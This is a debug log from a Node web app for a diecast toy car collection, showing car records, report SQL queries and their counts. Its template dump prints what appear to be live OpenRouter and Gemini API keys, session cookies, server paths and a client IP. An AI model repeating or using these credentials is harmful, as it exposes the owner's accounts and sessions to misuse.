      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 235,
      model_name: '2024 Maserati GranTurismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 234,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 233,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 232,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Roadtrip',
      brand_id: 73,
      series_id: 247,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 231,
      model_name: '2025 Ram 1500 REV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 230,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Rescue',
      brand_id: 73,
      series_id: 246,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 229,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Metro',
      brand_id: 73,
      series_id: 244,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 228,
      model_name: '1980 Jeep J10 Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 227,
      model_name: '17 Toyota Land Cruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    }
  ]
}
2026-07-30T08:53:58.212Z server-connect:router Serving templateView /diecast-reports
2026-07-30T08:53:58.212Z server-connect:app Executing action step identify
2026-07-30T08:53:58.212Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:58.213Z server-connect:output identity: 14
2026-07-30T08:53:58.213Z server-connect:app Executing action step restrict
2026-07-30T08:53:58.213Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:58.214Z server-connect:output restrict: undefined
2026-07-30T08:53:58.214Z server-connect:router Render template diecast-reports
2026-07-30T08:53:58.214Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:53:02.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 14
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 14
}
2026-07-30T08:53:58.458Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-07-30T08:53:58.458Z server-connect:app Executing action step identify
2026-07-30T08:53:58.458Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:58.458Z server-connect:output identity: 14
2026-07-30T08:53:58.458Z server-connect:app Executing action step restrict
2026-07-30T08:53:58.458Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:58.459Z server-connect:output restrict: undefined
2026-07-30T08:53:58.460Z server-connect:app Executing action step custom
2026-07-30T08:53:58.460Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-07-30T08:53:58.462Z server-connect:output list: [
  { series: 245, name: 'MBX Adventure', total: 9 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 107, name: 'HW EV', total: 6 },
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 248, name: 'MBX City', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 242, name: 'Silver Series - Pontiac', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 250, name: 'MBX Road Trip', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 240, name: 'Pantone', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 231, name: '1968 Vintage Club', total: 3 },
  { series: 246, name: 'MBX Rescue', total: 3 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 243, name: 'MBX Showroom', total: 2 },
  { series: 179, name: 'HW Euro', total: 2 },
  { series: 227, name: 'Drag Racers', total: 2 },
  { series: 233, name: 'Nightspeed', total: 2 },
  { series: 241, name: 'Silver Series - Spider-Man', total: 2 },
  { series: 251, name: 'MBX', total: 2 },
  { series: 244, name: 'MBX Metro', total: 2 },
  { series: 86, name: 'Vintage', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 247, name: 'MBX Roadtrip', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 249, name: 'MBX Construction', total: 1 },
  { series: 92, name: 'Fantasy', total: 1 },
  { series: 239, name: 'Compact Kings', total: 1 },
  { series: 238, name: 'HW Fan Driven', total: 1 },
  { series: 235, name: 'Factory Fresh', total: 1 },
  { series: 237, name: 'Tooned', total: 1 },
  { series: 236, name: 'Wagons', total: 1 },
  { series: 234, name: "Layin' Low", total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 232, name: 'Then And Now', total: 1 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 }
]
2026-07-30T08:54:00.866Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2026-07-30T08:54:00.866Z server-connect:app Executing action step identify
2026-07-30T08:54:00.866Z server-connect:app options: { provider: 'security' }
2026-07-30T08:54:00.867Z server-connect:output identity: 14
2026-07-30T08:54:00.867Z server-connect:app Executing action step restrict
2026-07-30T08:54:00.867Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:54:00.868Z server-connect:output restrict: undefined
2026-07-30T08:54:00.868Z server-connect:app Executing action step custom
2026-07-30T08:54:00.868Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-07-30T08:54:00.869Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 111 },
  { brand_id: 72, name: 'Majorette', total: 46 },
  { brand_id: 73, name: 'Matchbox', total: 32 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 },
  { brand_id: 191, name: 'Jams Toys', total: 1 }
]
2026-07-30T08:54:01.862Z server-connect:router Serving serverConnect /api/reports/diecast/by-vehicle-brand
2026-07-30T08:54:01.863Z server-connect:app Executing action step identify
2026-07-30T08:54:01.863Z server-connect:app options: { provider: 'security' }
2026-07-30T08:54:01.863Z server-connect:output identity: 14
2026-07-30T08:54:01.863Z server-connect:app Executing action step restrict
2026-07-30T08:54:01.863Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:54:01.863Z server-connect:output restrict: undefined
2026-07-30T08:54:01.864Z server-connect:app Executing action step custom
2026-07-30T08:54:01.864Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.vehicle_brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.vehicle_brand_id\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.vehicle_brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-07-30T08:54:01.865Z server-connect:output list: [
  { vehicle_brand_id: null, name: null, total: 54 },
  { vehicle_brand_id: 142, name: 'Fantasy', total: 21 },
  { vehicle_brand_id: 108, name: 'Ford', total: 14 },
  { vehicle_brand_id: 130, name: 'Porsche', total: 9 },
  { vehicle_brand_id: 113, name: 'Mercedes', total: 8 },
  { vehicle_brand_id: 115, name: 'Lamborghini', total: 7 },
  { vehicle_brand_id: 118, name: 'Chevrolet', total: 6 },
  { vehicle_brand_id: 116, name: 'Nissan', total: 6 },
  { vehicle_brand_id: 127, name: 'Dodge', total: 6 },
  { vehicle_brand_id: 117, name: 'Land Rover', total: 4 },
  { vehicle_brand_id: 128, name: 'Alfa Romeo', total: 3 },
  { vehicle_brand_id: 122, name: 'Jeep', total: 3 },
  { vehicle_brand_id: 140, name: 'GMC', total: 2 },
  { vehicle_brand_id: 109, name: 'Renault', total: 2 },
  { vehicle_brand_id: 137, name: 'Mazda', total: 2 },
  { vehicle_brand_id: 112, name: 'Honda', total: 2 },
  { vehicle_brand_id: 133, name: 'Jaguar', total: 2 },
  { vehicle_brand_id: 132, name: 'Audi', total: 2 },
  { vehicle_brand_id: 124, name: 'Ferrari', total: 2 },
  { vehicle_brand_id: 129, name: 'Bugatti', total: 1 },
  { vehicle_brand_id: 183, name: 'Spider Man', total: 1 },
  { vehicle_brand_id: 152, name: 'Corvette ', total: 1 },
  { vehicle_brand_id: 184, name: 'Lucid', total: 1 },
  { vehicle_brand_id: 185, name: 'Lotus', total: 1 },
  { vehicle_brand_id: 186, name: 'Datsun', total: 1 },
  { vehicle_brand_id: 190, name: 'Plymouth', total: 1 },
  { vehicle_brand_id: 189, name: 'RAM', total: 1 },
  { vehicle_brand_id: 119, name: 'Toyota', total: 1 },
  { vehicle_brand_id: 157, name: 'Masserti', total: 1 },
  { vehicle_brand_id: 121, name: 'Peugeot', total: 1 },
  { vehicle_brand_id: 169, name: 'Cadillac', total: 1 },
  { vehicle_brand_id: 168, name: 'Pagani', total: 1 },
  { vehicle_brand_id: 167, name: 'Mcmurtry', total: 1 },
  { vehicle_brand_id: 126, name: 'BMW', total: 1 },
  { vehicle_brand_id: 125, name: 'Bentley', total: 1 },
  { vehicle_brand_id: 123, name: 'Volvo', total: 1 },
  { vehicle_brand_id: 139, name: 'Formula', total: 1 },
  { vehicle_brand_id: 138, name: 'Gordon Murray', total: 1 },
  { vehicle_brand_id: 134, name: 'Pontiac', total: 1 },
  { vehicle_brand_id: 136, name: 'Austin', total: 1 },
  { vehicle_brand_id: 135, name: 'Czinger', total: 1 }
]
